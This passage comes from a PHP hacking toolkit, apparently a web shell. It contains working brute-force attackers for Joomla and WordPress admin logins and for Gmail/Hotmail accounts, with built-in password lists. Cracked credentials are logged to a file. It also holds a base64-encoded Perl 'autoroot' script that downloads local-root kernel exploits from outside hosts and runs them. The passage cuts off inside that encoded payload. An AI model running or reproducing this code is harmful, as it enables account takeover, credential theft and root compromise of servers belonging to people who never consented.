echo 'admin
123456
password
102030
123123
12345
123456789
pass
test
admin123
demo
!@#$%^';
echo '</textarea></font>
</td></tr><center><tr><td>
<br><input class="inputzbut" type="submit" name="x" value="Start Now" id="d4"> 
</td></tr><br></table>
</form></center>';
 
@set_time_limit(0); 

if($_POST['x']){ 

echo "<hr>"; 

$sites = explode("
",$_POST["sites"]); // Get Sites 
$w0rds = explode("
",$_POST["w0rds"]); // Get w0rdLiSt 

$Attack = new Joomla_brute_Force(); // Active Class 


foreach($w0rds as $pwd){ 

foreach($sites as $site){ 


$Attack->check_it(txt_cln($site),$_POST['usr'],txt_cln($pwd)); // Brute :D 
flush();flush(); 

} 

} 

} 


# Class & Function'z 

function txt_cln($value){  return str_replace(array("
","
"),"",$value); } 

class Joomla_brute_Force{ 

public function check_it($site,$user,$pass){ // print result 

if(eregi('com_config',$this->post($site,$user,$pass))){ 

echo "<span class=\"x2\"><b># Success : $user:$pass -> <a href='$site/administrator/index.php'>$site/administrator/index.php</a></b></span><BR>";
$f = fopen("Result.txt","a+"); fwrite($f , "Success ~~ $user:$pass -> $site/administrator/index.php
"); fclose($f); 
flush(); 
}else{ echo "# Failed : $user:$pass -> $site<BR>"; flush();} 

} 

public function post($site,$user,$pass){ // Post -> user & pass 

$token = $this->extract_token($site); 

$curl=curl_init(); 

curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); 
curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php"); 
@curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt'); 
@curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt'); 
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4'); 
@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1); 
curl_setopt($curl,CURLOPT_POST,1); 
curl_setopt($curl,CURLOPT_POSTFIELDS,'username='.$user.'&passwd='.$pass.'&lang=en-GB&option=com_login&task=login&'.$token.'=1'); 
curl_setopt($curl,CURLOPT_TIMEOUT,20); 

$exec=curl_exec($curl); 
curl_close($curl); 
return $exec; 

} 

public function extract_token($site){ // get token from source for -> function post 

$source = $this->get_source($site); 

preg_match_all("/type=\"hidden\" name=\"([0-9a-f]{32})\" value=\"1\"/si" ,$source,$token); 

return $token[1][0]; 

} 

public function get_source($site){ // get source for -> function extract_token 

$curl=curl_init(); 
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); 
curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php"); 
@curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt'); 
@curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt'); 
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4'); 
@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1); 
curl_setopt($curl,CURLOPT_TIMEOUT,20); 

$exec=curl_exec($curl); 
curl_close($curl); 
return $exec; 

} 

} 
}
if(isset($_GET['action']) && $_GET['action'] == 'wpbru'){
echo '<center><b class="conte">
<a href="?action=skybru">Skype Brute Force</a> -
<a href="?action=cpbru">Cpanel Brute Force</a> -
<a href="?action=jmbru">Joomla Brute Force</a> -
<a href="?action=wpbru">Wordpress Brute Force</a> -
<a href="?action=twbru">Twitter Brute Force</a> -
<a href="?action=ghbru">Gmail & Hotmail Brute Force</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Wordpress Brute Force</span></center><br>';
echo '<form action="?y=<?php echo $pwd; ?>&amp;x=wpbrute" method="post">
<center><br>
<form enctype="multipart/form-data" method="POST">
<table width="624" border="0" class="tabnet">
<tr>
<td >&nbsp;</td>
<td ><p><font face:Tahoma, Geneva, sans-serif; color="#007700" size="2pt">Hosts:</font></p></td>
<td ><p><font face:Tahoma, Geneva, sans-serif; color="#007700" size="2pt">Users:</font></p></td>
<td ><p><font face:Tahoma, Geneva, sans-serif; color="#007700" size="2pt">Passwords:</font></p></td>
</tr>
<tr>
<td>&nbsp;</td>
<td ><textarea class="area" style="background:transparent;" name="hosts" cols="30" rows="10" >';
if ($_POST) {
echo $_POST['hosts'];
} echo '</textarea></td>
<td ><textarea class="area" style="background:transparent;" name="usernames" cols="30" rows="10"  >';
if ($_POST) {
echo $_POST['usernames'];
} else {
echo "admin";
} echo '</textarea></td>
<td><textarea class="area" style="background:transparent;" name="passwords" cols="30" rows="10"  >';
if ($_POST) {
echo $_POST['passwords'];
} else {
echo 'admin
administrator
123123
123321
123456
1234567
12345678
123456789
123456123456
admin2010
admin2011
password
P@ssW0rd
!@#$%^
!@#$%^&*(
(*&^%$#@!
111111
222222
333333
444444
555555
666666
777777
888888
999999';
} 
echo '</textarea></td>
</tr>
<tr><td colspan="4"><center><br><input class="inputzbut" type="submit" name="submit" value="Brute Now"  /></center>';

if ($_POST) {
$hosts = trim(filter($_POST['hosts']));
$passwords = trim(filter($_POST['passwords']));
$usernames = trim(filter($_POST['usernames']));
if ($passwords && $usernames && $hosts) {
$hosts_explode = explode("
", $hosts);
$usernames_explode = explode("
", $usernames);
$passwords_explode = explode("
", $passwords);
foreach ($hosts_explode as $host) {
$host = RemoveLastSlash($host);
$hacked = 0;
$host = str_replace(array("http://", "https://", "www."), "", trim($host));
$host = "http://" . $host;
$wpAdmin = $host . '/wp-admin/';
if (!url_exists($host . "/wp-login.php")) {
echo "<p>" . $host . " => <font color='red'>Error In Login Page !</font></p>";
ob_flush();
flush();
continue;
}
foreach ($usernames_explode as $username) {
foreach ($passwords_explode as $password) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $host . '/wp-login.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, "coki.txt");
curl_setopt($ch, CURLOPT_COOKIEFILE, "coki.txt");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POST, TRUE);
curl_setopt($ch, CURLOPT_POSTFIELDS, "log=" . $username . "&pwd=" . $password . "&wp-submit=Giri&#8207;" . "&redirect_to=" . $wpAdmin . "&testcookie=1");
$login = curl_exec($ch);
if (eregi("profile.php", $login)) {
$hacked = 1;
echo "<p>" . $host . " => UserName : [<font color='#b0b000'>" . $username . "</font>] : Password : [<font color='#b0b000'>" . $password . "</font>]</p>";
ob_flush();
flush();
break;
}
}
if ($hacked == 1) {
break;
}
}
if ($hacked == 0) {
echo "<p>" . $host . " => <font color='red'>Failed !</font></p>";
ob_flush();
flush();
}
}
} else {
echo "<p><font color='red'>All fields are Required ! </font></p>";
}
}
echo '</td></tr>
</table></form></center>';
function url_exists($strURL) {
$resURL = curl_init();
curl_setopt($resURL, CURLOPT_URL, $strURL);
curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
curl_setopt($resURL, CURLOPT_HEADERFUNCTION, 'curlHeaderCallback');
curl_setopt($resURL, CURLOPT_FAILONERROR, 1);
curl_exec($resURL);
$intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
curl_close($resURL);
if ($intReturnCode != 200) {
return false;
} else {
return true;
}
}
function filter($string) {
if (get_magic_quotes_gpc() != 0) {
return stripslashes($string);
} else {
return $string;
}
}
function RemoveLastSlash($host) {
if (strrpos($host, '/', -1) == strlen($host) - 1) {
return substr($host, 0, strrpos($host, '/', -1));
} else {
return $host;
}
}
echo "</p>";
}
if(isset($_GET['action']) && $_GET['action'] == 'ghbru'){
echo '<center><b class="conte">
<a href="?action=skybru">Skype Brute Force</a> -
<a href="?action=cpbru">Cpanel Brute Force</a> -
<a href="?action=jmbru">Joomla Brute Force</a> -
<a href="?action=wpbru">Wordpress Brute Force</a> -
<a href="?action=twbru">Twitter Brute Force</a> -
<a href="?action=ghbru">Gmail & Hotmail Brute Force</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Gmail & Hotmail Brute Force</span><center>';

set_time_limit(0); 
error_reporting(0); 
         
class s1{ 
         
private $adres = array( 
'gmail' => '{imap.gmail.com:993/imap/ssl}', 
'hotmail' => '{pop3.live.com:995/pop3/ssl}' 
); 
private $imap;         
function __construct($gelen1,$gelen2){ 
                 
$uname     = explode("
",$gelen1);     
$pwd     = explode("
",$gelen2);     
foreach($pwd as $pass){ 
$pass = trim($pass); 
foreach($uname as $user){ 
$user = trim($user); 
                                 
if(preg_match('@gmail@si',$user)){ 
$this->baglan($this->adres["gmail"],$user,$pass); 
}else{ 
$this->baglan($this->adres["hotmail"],$user,$pass); 
} 
} 
} 
}     
                 
public function baglan($url,$user,$pass){ 
                 
$this->imap = imap_open($url,$user,$pass); 
if($this->imap){ 
echo "<span id='cikti' >$user => $pass </span><br />"; 
} 
} 
function __destruct(){ 
             
imap_close($this->imap); 
             
} 
} 
         
echo '<br /> <center><div id="form"> 
<form id="form" method="POST" > 
<textarea class="area" name="mail" rows="20" cols="28">Put Emails You Want To Cracker here ^_^</textarea>  
<textarea class="area" name="sifre" rows="20" cols="28">Put Your Password List Here ^_^</textarea> <br /> <br />
<input type="submit" id="submit" value="Brute !" /> 
</form><br> 
</div> 
<div id="sonuc"> ';
        
         
if($_POST){ 
$mails = $_POST["mail"]; 
$sifre = $_POST["sifre"]; 
             
if((isset($mails)) and (isset($sifre))){     
$s1 = new s1($mails,$sifre); 
} 
} 
         
echo '</center></div> ';
}
if(isset($_GET['action']) && $_GET['action'] == 'w00ts'){
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Autoroot Generator Coded By Mauritania Attacker</span><center><br>';
echo'<center><font color="#006600" size="2pt"><b>Special Greet To HusseiN98D</b><font/></center><br>';
echo"<p align='center'> <img border='0' src='http://www.spirit-of-metal.com/les%20goupes/R/Root/pics/logo.jpg'></p><br>";
echo'<div class="tul"><font color="007700" face="Geneva, sans-serif" style="font-size: 11pt"><font/>';


@error_reporting(0);

sleep(2);

echo "<p><b>Script Autoroot Perl Extracted Successfully.... \!/ </b></p><br>";
//generate autoroot script perl
mkdir('lulZ',0755);
$shellw0rm = 'cHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0KcHJpbnQgIiAgICAgICAgIEFub25HaG9zdCBTbTRzaCBhdXRvIHIwMHQgICAgICAgICAgXG4iOw0KcHJpbnQgIiAgICAgICAgICAgICAgICAgMjAwNSAtIDIwMTMgICAgICAgICAgICAgICAgXG4iOw0KcHJpbnQgIiAgICAgX19fX19fXyAgX19fX19fXyAgX19fX19fXyBfX19fX19fX18gICAgXG4iOw0KcHJpbnQgIiAgICAoICBfX19fICkoICBfXyAgICkoICBfXyAgIClcX18gICBfXy8gICAgXG4iOw0KcHJpbnQgIiAgICB8ICggICAgKXx8ICggICkgIHx8ICggICkgIHwgICApICggICAgICAgXG4iOw0KcHJpbnQgIiAgICB8IChfX19fKXx8IHwgLyAgIHx8IHwgLyAgIHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8ICAgICBfXyl8ICgvIC8pIHx8ICgvIC8pIHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8IChcICggICB8ICAgLyB8IHx8ICAgLyB8IHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8ICkgXCBcX198ICAoX18pIHx8ICAoX18pIHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8LyAgIFxfXy8oX19fX19fXykoX19fX19fXykgICApXyggICAgICAgXG4iOw0KcHJpbnQgIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJCSAgIENvZGVkIGJ5IEh1c3NlaU45OEQgICAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJCQkgICAgIDE5LzA4LzIwMTQJCSAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJICBUbyByb290IGxpbnV4ICwgcGVybCAkMCBsbnggICAgICAgICAgXG4iOw0KcHJpbnQgIgkJICBUbyByb290IEJzZCAsICBwZXJsICQwIGJzZCAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJICBUbyByb290IFN1bk9TICwgcGVybCAkMCBzdW5vcyAgICAgICAgXG4iOw0KcHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0KDQoNCmlmICgkQVJHVlswXSA9fiAibG54IiApDQp7DQpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsNCnByaW50ICIjIExpbnV4L0JzZC9TdW5vcyBBVVRPLVJPT1RFUiAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICBIYXZlIGEgY29mZmUgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgIFJvb3RpbmcgbGludXggICAgICAgICAgI1xuIjsNCnByaW50ICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0Kc3lzdGVtKCJ1bmFtZSAtYTtta2RpciBsbng7Y2QgbG54Iik7DQpwcmludCAiWytdIFdhaXQuLlxuIjsNCg0Kc3lzdGVtKCJ3Z2V0IHd3dy50dXgtcGxhbmV0LmZyL3B1YmxpYy9oYWNrL2V4cGxvaXRzL2tlcm5lbC9sb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zLmMiKTsNCnN5c3RlbSgiZ2NjIC1vIGdheXJvcyBsb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zLmMiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGdheXJvcyIpOw0Kc3lzdGVtKCIuL2dheXJvcyIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgd3d3LnR1eC1wbGFuZXQuZnIvcHVibGljL2hhY2svZXhwbG9pdHMva2VybmVsL3Ztc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdC5jIik7DQpzeXN0ZW0oImdjYyAtbyB2bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQgdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0LmMiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHZtc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdCIpOw0Kc3lzdGVtKCIuL3Ztc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdCIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290LzIuNi54L3gyIik7DQpzeXN0ZW0oImNobW9kIDc3NyB4MiIpOw0Kc3lzdGVtKCIuL3gyIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngveCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgeCIpOw0Kc3lzdGVtKCIuL3giKTsNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvdXNlbGliMjQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHVzZWxpYjI0Iik7DQpzeXN0ZW0oIi4vdXNlbGliMjQiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC9yb290MiIpOw0Kc3lzdGVtKCJjaG1vZCA3Nzcgcm9vdDIiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCIuL3Jvb3QyIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290LzIuNi54L2ttb2QyIik7DQpzeXN0ZW0oImNobW9kIDc3NyBrbW9kMiIpOw0Kc3lzdGVtKCIuL2ttb2QyIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290LzIuNi54L2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgaDAwbHlzaGl0Iik7DQpzeXN0ZW0oIi4vaDAwbHlzaGl0Iik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvZXhwLnNoIik7DQpzeXN0ZW0oImNobW9kIDc1NSBleHAuc2giKTsNCnN5c3RlbSgic2ggZXhwLnNoIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvZWxmbGJsIik7DQpzeXN0ZW0oImNobW9kIDc3NyBlbGZsYmwiKTsNCnN5c3RlbSgiLi9lbGZsYmwiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC9jdzcuMyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgY3c3LjMiKTsNCnN5c3RlbSgiLi9jdzcuMyIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMTgtMzc0LjEyLjEuZWw1LTIwMTIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0zNzQuMTIuMS5lbDUtMjAxMiIpOw0Kc3lzdGVtKCIuLzIuNi4xOC0zNzQuMTIuMS5lbDUtMjAxMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4xOC0yNzQtMjAxMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTI3NC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTI3NC0yMDExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMTgtNi14ODYtMjAxMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTYteDg2LTIwMTEiKTsNCnN5c3RlbSgiLi8yLjYuMTgtNi14ODYtMjAxMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3Qvdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyB2bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQiKTsNCnN5c3RlbSgiLi92bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIwMTEgTG9jYWxSb290IEZvciAyLjYuMTgtMTI4LmVsNSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMjAxMSBMb2NhbFJvb3QgRm9yIDIuNi4xOC0xMjguZWw1Iik7DQpzeXN0ZW0oIi4vMjAxMSBMb2NhbFJvb3QgRm9yIDIuNi4xOC0xMjguZWw1Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMzMiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zMyIpOw0Kc3lzdGVtKCIuLzIuNi4zMyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjMzLTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4zNC0yMDExIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzQtMjAxMSIpOw0Kc3lzdGVtKCIuLzIuNi4zNC0yMDExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMzQtMjAxMUV4cGxvaXQxIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzQtMjAxMUV4cGxvaXQxIik7DQpzeXN0ZW0oIi4vMi42LjM0LTIwMTFFeHBsb2l0MSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjM0LTIwMTFFeHBsb2l0MiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM0LTIwMTFFeHBsb2l0MiIpOw0Kc3lzdGVtKCIuLzIuNi4zNC0yMDExRXhwbG9pdDIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4zNyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM3Iik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4zNy1yYzIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zNy1yYzIiKTsNCnN5c3RlbSgiLi8yLjYuMzctcmMyIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC96MWQtMjAxMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgejFkLTIwMTEiKTsNCnN5c3RlbSgiLi8yLjYuMTgtMjAxMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMS0yIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxLTIiKTsNCnN5c3RlbSgiLi8xLTIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzEtMyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMS0zIik7DQpzeXN0ZW0oIi4vMS0zIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8xLTQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDEtNCIpOw0Kc3lzdGVtKCIuLzEtNCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMTAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDEwIik7DQpzeXN0ZW0oIi4vMTAiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzExIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxMSIpOw0Kc3lzdGVtKCIuLzExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8xMiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMTIiKTsNCnN5c3RlbSgiLi8xMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMTQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDE0Iik7DQpzeXN0ZW0oIi4vMTQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE1LnNoIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxNS5zaCIpOw0Kc3lzdGVtKCIuLzE1LnNoIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8xNTE1MCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMTUxNTAiKTsNCnN5c3RlbSgiLi8xNTE1MCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMTUyMDAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDE1MjAwIik7DQpzeXN0ZW0oIi4vMTUyMDAiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE2Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAxNiIpOw0Kc3lzdGVtKCIuLzE2Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8xNi0xIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxNi0xIik7DQpzeXN0ZW0oIi4vMTYtMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMTgiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDE4Iik7DQpzeXN0ZW0oIi4vMTgiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE4LTUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDE4LTUiKTsNCnN5c3RlbSgiLi8xOC01Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyIik7DQpzeXN0ZW0oIi4vMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi0xIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLTEiKTsNCnN5c3RlbSgiLi8yLTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzItNi05LTIwMDUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDItNi05LTIwMDUiKTsNCnN5c3RlbSgiLi8yLTYtOS0yMDA1Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLTYtOS0yMDA2Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLTYtOS0yMDA2Iik7DQpzeXN0ZW0oIi4vMi02LTktMjAwNiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi40LjIxLTIwMDYiKTsNCnN5c3RlbSgiY2htb2QgNzc3